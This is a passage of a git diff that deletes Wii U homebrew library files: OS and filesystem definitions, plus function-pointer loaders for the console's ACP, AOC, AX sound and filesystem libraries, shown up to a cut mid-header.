"os_defs.h" - -#define CAFE_OS_SD_PATH "/vol/external01" -#define SD_PATH "sd:" -#define WIIU_PATH "/wiiu" - -#ifndef MEM_BASE -#define MEM_BASE (0x00800000) -#endif - -#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) -#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) -#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) -#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) - -#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) - -#ifndef EXIT_SUCCESS -#define EXIT_SUCCESS 0 -#endif -#define EXIT_HBL_EXIT 0xFFFFFFFE -#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD - -#ifdef __cplusplus -} -#endif - -#endif /* COMMON_H */ - diff --git a/installer/src/common/fs_defs.h b/installer/src/common/fs_defs.h deleted file mode 100644 index feda725..0000000 --- a/installer/src/common/fs_defs.h +++ /dev/null @@ -1,62 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#include "types.h" - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/installer/src/common/os_defs.h b/installer/src/common/os_defs.h deleted file mode 100644 index 48a4c8f..0000000 --- a/installer/src/common/os_defs.h +++ /dev/null @@ -1,25 +0,0 @@ -#ifndef __OS_DEFS_H_ -#define __OS_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _OsSpecifics -{ - unsigned int addr_OSDynLoad_Acquire; - unsigned int addr_OSDynLoad_FindExport; - unsigned int addr_OSTitle_main_entry; - - unsigned int addr_KernSyscallTbl1; - unsigned int addr_KernSyscallTbl2; - unsigned int addr_KernSyscallTbl3; - unsigned int addr_KernSyscallTbl4; - unsigned int addr_KernSyscallTbl5; -} OsSpecifics; - -#ifdef __cplusplus -} -#endif - -#endif // __OS_DEFS_H_ diff --git a/installer/src/common/types.h b/installer/src/common/types.h deleted file mode 100644 index 3435e56..0000000 --- a/installer/src/common/types.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -#include - -#endif /* TYPES_H */ - diff --git a/installer/src/dynamic_libs/.gitattributes b/installer/src/dynamic_libs/.gitattributes deleted file mode 100644 index bdb0cab..0000000 --- a/installer/src/dynamic_libs/.gitattributes +++ /dev/null @@ -1,17 +0,0 @@ -# Auto detect text files and perform LF normalization -* text=auto - -# Custom for Visual Studio -*.cs diff=csharp - -# Standard to msysgit -*.doc diff=astextplain -*.DOC diff=astextplain -*.docx diff=astextplain -*.DOCX diff=astextplain -*.dot diff=astextplain -*.DOT diff=astextplain -*.pdf diff=astextplain -*.PDF diff=astextplain -*.rtf diff=astextplain -*.RTF diff=astextplain diff --git a/installer/src/dynamic_libs/.gitignore b/installer/src/dynamic_libs/.gitignore deleted file mode 100644 index cd2946a..0000000 --- a/installer/src/dynamic_libs/.gitignore +++ /dev/null @@ -1,47 +0,0 @@ -# Windows image file caches -Thumbs.db -ehthumbs.db - -# Folder config file -Desktop.ini - -# Recycle Bin used on file shares -$RECYCLE.BIN/ - -# Windows Installer files -*.cab -*.msi -*.msm -*.msp - -# Windows shortcuts -*.lnk - -# ========================= -# Operating System Files -# ========================= - -# OSX -# ========================= - -.DS_Store -.AppleDouble -.LSOverride - -# Thumbnails -._* - -# Files that might appear in the root of a volume -.DocumentRevisions-V100 -.fseventsd -.Spotlight-V100 -.TemporaryItems -.Trashes -.VolumeIcon.icns - -# Directories potentially created on remote AFP share -.AppleDB -.AppleDesktop -Network Trash Folder -Temporary Items -.apdisk diff --git a/installer/src/dynamic_libs/README.md b/installer/src/dynamic_libs/README.md deleted file mode 100644 index be82302..0000000 --- a/installer/src/dynamic_libs/README.md +++ /dev/null @@ -1,2 +0,0 @@ -# dynamic_libs -Dynamic libs for WiiU homebrew diff --git a/installer/src/dynamic_libs/acp_functions.c b/installer/src/dynamic_libs/acp_functions.c deleted file mode 100644 index eb931f8..0000000 --- a/installer/src/dynamic_libs/acp_functions.c +++ /dev/null @@ -1,40 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "acp_functions.h" - -unsigned int acp_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, GetMetaXml, void * _ACPMetaXml); - -void InitAcquireACP(void) -{ - OSDynLoad_Acquire("nn_acp.rpl", &acp_handle); -} - -void InitACPFunctionPointers(void) -{ - InitAcquireACP(); - OSDynLoad_FindExport(acp_handle,0,"GetMetaXml__Q2_2nn3acpFP11_ACPMetaXml",&GetMetaXml); -} diff --git a/installer/src/dynamic_libs/acp_functions.h b/installer/src/dynamic_libs/acp_functions.h deleted file mode 100644 index dc1822d..0000000 --- a/installer/src/dynamic_libs/acp_functions.h +++ /dev/null @@ -1,42 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __ACP_FUNCTIONS_H_ -#define __ACP_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -extern unsigned int acp_handle; - -void InitACPFunctionPointers(void); -void InitAcquireACP(void); - -#ifdef __cplusplus -} -#endif - -#endif // __VPAD_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/aoc_functions.c b/installer/src/dynamic_libs/aoc_functions.c deleted file mode 100644 index e74306d..0000000 --- a/installer/src/dynamic_libs/aoc_functions.c +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "aoc_functions.h" - -unsigned int aoc_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(s32, AOC_Initialize, void); -EXPORT_DECL(s32, AOC_Finalize, void); -EXPORT_DECL(u32, AOC_CalculateWorkBufferSize, u32 num_titles); -EXPORT_DECL(s32, AOC_ListTitle, u32 * num_titles, void * titles, u32 max_titles, void * buffer, u32 buffer_size); -EXPORT_DECL(s32, AOC_OpenTitle, char* aoc_path, void * title, void * buffer, u32 buffer_size); -EXPORT_DECL(s32, AOC_CloseTitle, void * title); -EXPORT_DECL(s32, AOC_DeleteContent, u64 title_id, u16 contentIndexes[], u32 numberOfContent, void* buffer, u32 buffer_size); -EXPORT_DECL(s32, AOC_GetPurchaseInfo, u32 * bResult, u64 title_id, u16 contentIndexes[], u32 numberOfContent, void * buffer, u32 buffer_size); - -void InitAcquireAoc(void) -{ - OSDynLoad_Acquire("nn_aoc.rpl", &aoc_handle); -} - -void InitAocFunctionPointers(void) -{ - InitAcquireAoc(); - if(aoc_handle == 0) - return; - - //! assigning those is not mandatory and it does not always work to load them - OSDynLoad_FindExport(aoc_handle, 0, "AOC_Initialize", &AOC_Initialize); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_Finalize", &AOC_Finalize); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_CalculateWorkBufferSize", &AOC_CalculateWorkBufferSize); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_ListTitle", &AOC_ListTitle); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_OpenTitle", &AOC_OpenTitle); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_CloseTitle", &AOC_CloseTitle); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_DeleteContent", &AOC_DeleteContent); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_GetPurchaseInfo", &AOC_GetPurchaseInfo); -} diff --git a/installer/src/dynamic_libs/aoc_functions.h b/installer/src/dynamic_libs/aoc_functions.h deleted file mode 100644 index efca771..0000000 --- a/installer/src/dynamic_libs/aoc_functions.h +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __AOC_FUNCTIONS_H_ -#define __AOC_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int aoc_handle; - -#define AOC_TITLE_SIZE 104 - -typedef struct { - u64 title_ID; - u32 group_ID; - u16 version; - char path[88]; -} AOC_TitleListType; - - -void InitAocFunctionPointers(void); -void InitAcquireAoc(void); - -extern s32 (* AOC_Initialize)(void); -extern s32 (* AOC_Finalize)(void); -extern u32 (* AOC_CalculateWorkBufferSize)(u32 num_titles); -extern s32 (* AOC_ListTitle)(u32 * num_titles, void * titles, u32 max_titles, void * buffer, u32 buffer_size); -extern s32 (* AOC_OpenTitle)(char* aoc_path, void * title, void * buffer, u32 buffer_size); -extern s32 (* AOC_CloseTitle)(void * title); -extern s32 (* AOC_DeleteContent)(u64 title_id, u16 contentIndexes[], u32 numberOfContent, void * buffer, u32 buffer_size); -extern s32 (* AOC_GetPurchaseInfo)(u32 * bResult, u64 title_id, u16 contentIndexes[], u32 numberOfContent, void * buffer, u32 buffer_size); -#ifdef __cplusplus -} -#endif - -#endif // __AOC_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/ax_functions.c b/installer/src/dynamic_libs/ax_functions.c deleted file mode 100644 index e517f6d..0000000 --- a/installer/src/dynamic_libs/ax_functions.c +++ /dev/null @@ -1,118 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "common/common.h" -#include "os_functions.h" -#include "ax_functions.h" - -unsigned int sound_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, AXInitWithParams, u32 * params); -EXPORT_DECL(void, AXInit, void); -EXPORT_DECL(void, AXQuit, void); -EXPORT_DECL(u32, AXGetInputSamplesPerSec, void); -EXPORT_DECL(u32, AXGetInputSamplesPerFrame, void); -EXPORT_DECL(s32, AXVoiceBegin, void *v); -EXPORT_DECL(s32, AXVoiceEnd, void *v); -EXPORT_DECL(void, AXSetVoiceType, void *v, u16 type); -EXPORT_DECL(void, AXSetVoiceOffsets, void *v, const void *buf); -EXPORT_DECL(void, AXSetVoiceSrcType, void *v, u32 type); -EXPORT_DECL(void, AXSetVoiceVe, void *v, const void *vol); -EXPORT_DECL(s32, AXSetVoiceDeviceMix, void *v, s32 device, u32 id, void *mix); -EXPORT_DECL(void, AXSetVoiceState, void *v, u16 state); -EXPORT_DECL(void, AXSetVoiceSrc, void *v, const void *src); -EXPORT_DECL(s32, AXSetVoiceSrcRatio, void *v,f32 ratio) -EXPORT_DECL(void *, AXAcquireVoice, u32 prio, void * callback, u32 arg); -EXPORT_DECL(void, AXFreeVoice, void *v); -EXPORT_DECL(void, AXRegisterFrameCallback, void * callback); -EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v); -EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset); -EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset); - -void InitAcquireAX(void) -{ - unsigned int *funcPointer = 0; - - if(OS_FIRMWARE >= 400) - { - AXInit = 0; - - OSDynLoad_Acquire("sndcore2.rpl", &sound_handle); - OS_FIND_EXPORT(sound_handle, AXInitWithParams); - OS_FIND_EXPORT(sound_handle, AXGetInputSamplesPerSec); - } - else - { - AXInitWithParams = 0; - AXGetInputSamplesPerSec = 0; - - OSDynLoad_Acquire("snd_core.rpl", &sound_handle); - OS_FIND_EXPORT(sound_handle, AXInit); - } -} - -void InitAXFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - InitAcquireAX(); - - OS_FIND_EXPORT(sound_handle, AXQuit); - OS_FIND_EXPORT(sound_handle, AXVoiceBegin); - OS_FIND_EXPORT(sound_handle, AXVoiceEnd); - OS_FIND_EXPORT(sound_handle, AXSetVoiceType); - OS_FIND_EXPORT(sound_handle, AXSetVoiceOffsets); - OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcType); - OS_FIND_EXPORT(sound_handle, AXSetVoiceVe); - OS_FIND_EXPORT(sound_handle, AXSetVoiceDeviceMix); - OS_FIND_EXPORT(sound_handle, AXSetVoiceState); - OS_FIND_EXPORT(sound_handle, AXSetVoiceSrc); - OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcRatio); - OS_FIND_EXPORT(sound_handle, AXAcquireVoice); - OS_FIND_EXPORT(sound_handle, AXFreeVoice); - OS_FIND_EXPORT(sound_handle, AXRegisterFrameCallback); - OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount); - OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset); - OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset); -} - -void ProperlyEndTransitionAudio(void) -{ - bool (* check_os_audio_transition_flag_old)(void); - void (* AXInit_old)(void); - void (* AXQuit_old)(void); - - unsigned int *funcPointer = 0; - unsigned int sound_handle; - OSDynLoad_Acquire("snd_core.rpl", &sound_handle); - - OS_FIND_EXPORT_EX(sound_handle, check_os_audio_transition_flag, check_os_audio_transition_flag_old); - OS_FIND_EXPORT_EX(sound_handle, AXInit, AXInit_old); - OS_FIND_EXPORT_EX(sound_handle, AXQuit, AXQuit_old); - - if (check_os_audio_transition_flag_old()) - { - AXInit_old(); - AXQuit_old(); - } -} diff --git a/installer/src/dynamic_libs/ax_functions.h b/installer/src/dynamic_libs/ax_functions.h deleted file mode 100644 index 086346f..0000000 --- a/installer/src/dynamic_libs/ax_functions.h +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __AX_FUNCTIONS_H_ -#define __AX_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -extern unsigned int sound_handle; - -void InitAXFunctionPointers(void); -void InitAcquireAX(void); -void ProperlyEndTransitionAudio(void); - -extern void (* AXInitWithParams)(u32 * params); -extern void (* AXInit)(void); -extern void (* AXQuit)(void); -extern u32 (* AXGetInputSamplesPerSec)(void); -extern s32 (* AXVoiceBegin)(void *v); -extern s32 (* AXVoiceEnd)(void *v); -extern void (* AXSetVoiceType)(void *v, u16 type); -extern void (* AXSetVoiceOffsets)(void *v, const void *buf); -extern void (* AXSetVoiceSrcType)(void *v, u32 type); -extern void (* AXSetVoiceVe)(void *v, const void *vol); -extern s32 (* AXSetVoiceDeviceMix)(void *v, s32 device, u32 id, void *mix); -extern void (* AXSetVoiceState)(void *v, u16 state); -extern void (* AXSetVoiceSrc)(void *v, const void *src); -extern s32 (* AXSetVoiceSrcRatio)(void *v, f32 ratio); -extern void * (* AXAcquireVoice)(u32 prio, void * callback, u32 arg); -extern void (* AXFreeVoice)(void *v); -extern void (* AXRegisterFrameCallback)(void * callback); -extern u32 (* AXGetVoiceLoopCount)(void * v); -extern void (* AXSetVoiceEndOffset)(void * v, u32 offset); -extern void (* AXSetVoiceLoopOffset)(void * v, u32 offset); - -#ifdef __cplusplus -} -#endif - -#endif // __VPAD_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/fs_defs.h b/installer/src/dynamic_libs/fs_defs.h deleted file mode 100644 index 1b1bc41..0000000 --- a/installer/src/dynamic_libs/fs_defs.h +++ /dev/null @@ -1,61 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/installer/src/dynamic_libs/fs_functions.c b/installer/src/dynamic_libs/fs_functions.c deleted file mode 100644 index 08a4fb6..0000000 --- a/installer/src/dynamic_libs/fs_functions.c +++ /dev/null @@ -1,131 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "fs_functions.h" -#include "os_functions.h" - -EXPORT_DECL(int, FSInit, void); -EXPORT_DECL(int, FSShutdown, void); -EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); -EXPORT_DECL(int, FSDelClient, void *pClient); -EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); -EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); - -EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); -EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); - -EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); -EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); -EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error); -EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error); -EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); -EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); -EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error); -EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling); -EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); -EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); -EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling); -EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling); -EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling); -EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling); -EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); -EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); -EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); -EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); - -EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error); -EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error); -EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); -EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error); -EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); - -EXPORT_DECL(int, FSBindMount, void *pClient, void *pCmd, char *source, char *target, int error); -EXPORT_DECL(int, FSBindUnmount, void *pClient, void *pCmd, char *target, int error); - -EXPORT_DECL(int, FSMakeQuota, void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling); -EXPORT_DECL(int, FSMakeQuotaAsync ,void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling,const void *asyncParams); - -void InitFSFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - OS_FIND_EXPORT(coreinit_handle, FSInit); - OS_FIND_EXPORT(coreinit_handle, FSShutdown); - OS_FIND_EXPORT(coreinit_handle, FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, FSDelClient); - OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, FSGetMountSource); - - OS_FIND_EXPORT(coreinit_handle, FSMount); - OS_FIND_EXPORT(coreinit_handle, FSUnmount); - - OS_FIND_EXPORT(coreinit_handle, FSGetStat); - OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync); - OS_FIND_EXPORT(coreinit_handle, FSRename); - OS_FIND_EXPORT(coreinit_handle, FSRenameAsync); - OS_FIND_EXPORT(coreinit_handle, FSRemove); - OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync); - OS_FIND_EXPORT(coreinit_handle, FSFlushQuota); - OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync); - OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize); - OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync); - OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota); - OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync); - - OS_FIND_EXPORT(coreinit_handle, FSOpenDir); - OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync); - OS_FIND_EXPORT(coreinit_handle, FSReadDir); - OS_FIND_EXPORT(coreinit_handle, FSRewindDir); - OS_FIND_EXPORT(coreinit_handle, FSCloseDir); - OS_FIND_EXPORT(coreinit_handle, FSChangeDir); - OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync); - OS_FIND_EXPORT(coreinit_handle, FSMakeDir); - OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync); - - - OS_FIND_EXPORT(coreinit_handle, FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync); - OS_FIND_EXPORT(coreinit_handle, FSReadFile); - OS_FIND_EXPORT(coreinit_handle, FSCloseFile); - - OS_FIND_EXPORT(coreinit_handle, FSFlushFile); - OS_FIND_EXPORT(coreinit_handle, FSTruncateFile); - OS_FIND_EXPORT(coreinit_handle, FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, FSSetPosFile); - OS_FIND_EXPORT(coreinit_handle, FSWriteFile); - - OS_FIND_EXPORT(coreinit_handle, FSBindMount); - OS_FIND_EXPORT(coreinit_handle, FSBindUnmount); - - OS_FIND_EXPORT(coreinit_handle, FSMakeQuota); - OS_FIND_EXPORT(coreinit_handle, FSMakeQuotaAsync); -} diff --git a/installer/src/dynamic_libs/fs_functions.h b/installer/src/dynamic_libs/fs_functions.h deleted file mode 100644 index d024655..0000000 --- a/installer/src/dynamic_libs/fs_functions.h +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __FS_FUNCTIONS_H_ -#define __FS_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include "fs_defs.h" - -void InitFSFunctionPointers(void); - -extern int (* FSInit)(void); -extern int (* FSShutdown)(void); -extern int (* FSAddClientEx)(void *pClient, int 